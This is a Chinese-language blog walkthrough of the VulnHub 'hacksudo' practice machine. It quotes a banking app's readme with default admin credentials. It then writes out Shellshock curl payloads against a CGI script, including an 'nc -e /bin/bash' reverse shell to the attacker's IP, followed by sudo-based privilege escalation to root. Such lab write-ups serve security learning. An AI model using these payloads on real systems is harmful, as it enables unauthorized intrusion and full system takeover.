首页 > 其他分享 >vulnhub-hacksudo

vulnhub-hacksudo

时间:2023-10-17 22:22:25浏览次数:36  
标签:bin hacksudo banking sh vulnhub https net com

第十周

打点

arp-scan -l

image-20230411210402657

信息搜集

发现主机

继续探测其端口

image

发现是一个登录注册模块

image-20230411210802653

一个银行啥系统,然后我们可以进行弱口令的尝试登录。随便试了几个没反应。我们可以扫个目录看看。

gobuster dir -r -u http://192.168.56.13 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php,html,md

image-20230412194938998

这里发现存在一个 readme.md文件。我们打开看看

## Disclaimer
<b><i>This project should not be modified in any way and used anywhere else without my permission.</b></i>

If you use this project for phishing purposes after modifying the source code / or by any other means, remember that the original project has nothing to do with phishing or any other malicious purpose. Any loss of data or unauthorized access which happened because of such phishing kits would not be my responsibility as that is not my original code. Strict legal action would be taken if someone is found modifying it and using it for any unethical purpose.

# Online Banking System
A web based banking system with all essential features and security accompanied by a beautiful and simple website. The website is designed in accordance with google material design and resposive web design guidelines to ensure a seamless experience between devices.

A fictional name of "Dolphin Bank" has been used only for representative purposes.

## Built with
<b>HTML5, CSS, JavaScript</b> & <b>jQuery</b> used for front-end design.


<b>PHP7 & MySQL</b> used for back-end design.


<b>Oracle MySQL</b> has been used to create and host the database for the
internet banking website.


Other than the languages/tools mentioned above <b>no</b> other/external
libraries and/or web-page templates have been used, everything has been
coded from ground-up straight from scratch.

## How to build/use
Setup an environment which supports web development like <b>LAMP</b> on <b>Linux</b> systems OR install <b>WampServer/XAMPP</b> or anything similar on <b>Windows</b>.

Copy the folder [net-banking](https://github.com/zakee94/online-banking-system/tree/master/net-banking) or the files in it to the location of the localhost. For example "/var/www/html", the loaction of localhost in Ubuntu.

Import the [net_banking.sql](https://github.com/zakee94/online-banking-system/blob/master/net_banking.sql) database into your MySQL setup.

Edit the file [connect.php](https://github.com/zakee94/online-banking-system/blob/master/net-banking/connect.php) and give proper username and password of your MySQL setup.

Open a browser and test wether the setup works or not by visiting the home page. Type "localhost/home.php" as the URL in the browser to visit the home page.

All the passwords and the usernames of both the admin and the customer can be found in the database i.e. in the file [net_banking.sql](https://github.com/zakee94/online-banking-system/blob/master/net_banking.sql).

However some important usernames and passwords are provided below :
* Username of admin is "admin" & password is "password123".
* Username of most of the customers is their "first_name" & password is their "first_name" followed by "123".

Some useful links to help in proper setup :
* [Installing LAMP](https://www.digitalocean.com/community/tutorials/how-to-install-linux-apache-mysql-php-lamp-stack-on-ubuntu-14-04)
* [WampServer](http://www.wampserver.com/en/)
* [Importing database in MySQL](https://www.digitalocean.com/community/tutorials/how-to-import-and-export-databases-and-reset-a-root-password-in-mysql)

## Details about the project
An exhaustive list of features, documentation, design hierarchy, details about the web pages, database, design characterstics/features and a lot more can be found [here](https://drive.google.com/open?id=1Px2shjcmyLUv7-u5wp93HvKT_zvw-Pmk).

The ER Diagram can also be found on the link given above or can be viewed [here](https://drive.google.com/open?id=1Tn2fBR9IjLP8dlv6svrc4aEvryrYcI3G).

## Description of the various folders
- <b>/net-banking :</b> Contains the source code of the website
    - <b>/net-banking/images :</b> Contains various images and icon vectors used as resources in the website
    - <b>/net-banking/fonts :</b> Contains various fonts(.ttf files) used in the website

## Screenshots (more can be found [here](https://drive.google.com/open?id=1bLLNyEiVGoWgHDfOehGooYSAZUNtj85F))
![](https://drive.google.com/uc?id=1XAImOcjlkVbGv3OVcLtfZJKIG4jIh9D_)

![](https://drive.google.com/uc?id=1wPAlZ-QhjwOJMP4L7Bi7kEGbmcLS3Qaa)

## Authors
* [zakee94](https://github.com/zakee94/)

在里面可以看到项目的地址

https://github.com/zakee94/online-banking-system

image-20230412195341844

默认密码为password123

管理员有专门的登录页面。

image-20230412195456564

使用默认密码登录到了后台,但是后台并没有可以让我们直接getshell的漏洞。

回到我们扫描到的目录里面,存在一个/cgi-bin/,cgi是早期的一种web开发技术。可以直接与服务器进行一些交互。详细请百度了解。这里我们可以对这个目录进行一个二次扫描

gobuster dir -r -u http://192.168.56.13/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x cgi,sh

image

这里发现了一个shell.sh,我们打开看看

image-20230412200148833

打开出现了500,出现这种情况有可能是我们没有传入数据,无法处理

这里可以了解一个古老的漏洞

破壳漏洞

CGI脚本会继承系统的环境变量。CGI环境变量在CGI程序启动时初始化,在结束时销毁。

当一个CGI脚本未被HTTP服务器调用时,它的环境变量几乎是系统环境变量的复制,当这个CGI脚本被HTTP服务器调用时,它的环境变量就会增加关于HTTP服务器,客户端,CGI传输过程等条目

也就是说,每当CGI脚本接收到一次HTTP请求,它的环境变量就会新增一些条目,比如User-agentConnection等信息

所以这里我们通过修改User-Agent来修改CGI环境变量

这里我们可以直接使用nmap的脚本进行探测

nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh, cmd=ls 192.168.56.13

image

这里扫描确实是存在这个漏洞的,那我们就可以进行攻击了。

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://192.168.56.13/cgi-bin/shell.sh

image-20230412200810916

存在nc,那我们可以进行反弹shell

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.56.6 5555'" \http://192.168.56.13/cgi-bin/shell.sh

#这台机器的nc存在-e参数

image-20230412201042266

升级shell

python3 -c "import pty;pty.spawn('/bin/bash')"

image-20230410224527882

提权

sudo -l

image-20230412201154234

这里通过sudo -l可以发现有个/home/thor/./hammer.sh,这个文件或许就是提权的关键。

这里如果我们要查看的话需要指定thor用户。

sudo -u thor /home/thor/./hammer.sh

image-20230410225342452

这里发现第二次输入内容时如果输入命令会直接以thor的身份去执行。

image-20230410225621675

这里直接执行bash,然后我们就可以获得一个thor身份的shell了。

直接升级shell

python3 -c "import pty;pty.spawn('/bin/bash')"

image-20230412201419735

再来一手sudo -l

image-20230410225830508

存在一个service命令,这里我们就可以使用GTFOBins

image-20230410225908899

可以直接在这里搜索存在suid这种提权命令提权的方法。

image-20230410225953466

image-20230410230004727

sudo servie ../../bin/sh

image-20230412202115130

sudo service ../../bin/bash

sh需要我输入密码,使用bash拿下root

标签:bin,hacksudo,banking,sh,vulnhub,https,net,com
From: https://www.cnblogs.com/r1ng/p/vulnhub-hacksudo.html

相关文章

  • vulnhub - Nagini - writeup
    信息收集基础信息目标只开放了22和88:root@Locklytmp/nagini»arp-scan-Ieth1-lInterface:eth1,type:EN10MB,MAC:00:0c:29:fa:3d:23,IPv4:192.168.56.106Startingarp-scan1.10.0with256hosts(https://github.com/royhills/arp-scan)192.168.56.10a:00......
  • vulnhub-wp-funbox1
    vulnhub靶机wp系列之funbox:1本文结构......
  • vulnhub-Vikings
    第九周打点arp-scan-l发现主机信息搜集nmap-p-192.168.56.12这里发现80端口存在http服务,直接使用浏览器进行访问。nmap-p22,80-sV192.168.56.12发现直接展示了目录。我们进行查看,这里因为它引用了一些国外的资源,加载比较慢。可能得好几分钟。进来之后就是这......
  • vulnhub - Fawks - writeup
    信息收集目标开放了21的ftp有匿名登录,除此之外还有常规的80,和连个ssh的端口。80端口的是一张图片,就是哈利波特的海报图。anonymous空密码登上去有一个文件下载下来是二进制的文件上kali里面运行看看。可以看到这个进程,接着看他开启什么服务没有,看到他在9898开放了,输入魔......
  • vulnhub - Aragog - writeup
    信息收集目标开放了80、22端口。root@Locklytemp/tmp»arp-scan-Ieth1-lInterface:eth1,type:EN10MB,MAC:00:0c:29:fa:3d:23,IPv4:192.168.56.106Startingarp-scan1.10.0with256hosts(https://githu......
  • vulnhub_phpmyadmin_CVE-2016-5734漏洞复现
    漏洞复现练习漏洞简介phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持......
  • CewlKid(VulnHub)
    CewlKid(VulnHub)目录CewlKid(VulnHub)1、前期信息收集nmap扫描①存活主机②端口扫描、操作系统③漏洞探测④tcp、udp扫描gobuster目录爆破dirb目录爆破2、Web渗透部分思路一:SitemagicCMS漏洞库查询思路二:常规web渗透手法①信息收集②密码爆破,尝试进后台③上传webshell④拿下普通权......
  • 【Sword系列】Vulnhub靶机Bob_v1.0.1 writeup
    个人博客地址:  http://www.sword-blogs.com/下载地址:https://www.vulnhub.com/entry/bob-101,226/信息搜集扫描IP地址扫描端口及端口信息访问80端口并没有发现有用的信息扫描目录看到有熟悉的robots.txt,访问看一下发现了dev_shell.php,可以执行一些简单的命令,但是不......
  • vulnhub - lazySysAdmin - writeup
    信息收集可以看到目标开放了常见的22,80,139,445,3306这个6667的服务少见。root@kalitmp/lazySysAdmin»arp-scan-Ieth1-lInterface:eth1,type:EN10MB,MAC:00:0c:29:02:72:37,IPv4:192.168.56.102Startingarp-scan1.10.0with256hosts(https://github.com/r......
  • Napping - vulnhub - writeup
    Napping-vulnhub-writeup信息收集目标开放了22和80。root@kali~»arp-scan-Ieth1-lInterface:eth1,type:EN10MB,MAC:00:0c:29:02:72:37,IPv4:192.168.56.102Startingarp-scan1.10.0with256hosts(https://github.com/royhills/arp-scan)192.168.56.10......